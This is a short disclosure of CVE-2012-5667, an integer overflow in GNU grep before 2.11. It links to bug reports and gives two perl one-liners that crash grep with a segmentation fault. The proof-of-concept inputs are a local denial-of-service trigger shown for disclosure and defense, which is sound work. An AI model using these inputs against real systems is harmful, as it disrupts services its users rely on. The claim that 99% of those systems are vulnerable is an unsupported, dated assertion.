Grep <2.11 is vulnerable to int overflow exploitation. http://lists.gnu.org/archive/html/bug-grep/2012-03/msg00007.html Although it is patched in the recent Grep, This update has not been pushed to the Ubuntu repos, or the Redhat repos, leaving 99% of those OS's(and more) vulnerable. There are also many other ways to do this bug. It is low severity because it would be extremely hard to actually exploit it, and it is a local exploit, and it is not run by root. Found By: Security Researcher - Joshua Rogers More: https://bugzilla.redhat.com/show_bug.cgi?id=889935 https://bugs.launchpad.net/ubuntu/+source/grep/+bug/1091473 http://seclists.org/oss-sec/2012/q4/504 etc. #There are many ways of doing this. #Method one: $ perl -e 'print "x"x(2**31)' | grep x > /dev/null Segmentation fault (core dumped) #Method two: $ perl -e 'print "\nx"x(2**31)' | grep -c x > /dev/null Twitter: https://twitter.com/MegaManSec CVE: CVE-2012-5667 -- *Joshua Rogers* - Retro Game Collector && IT Security Specialist gpg pubkey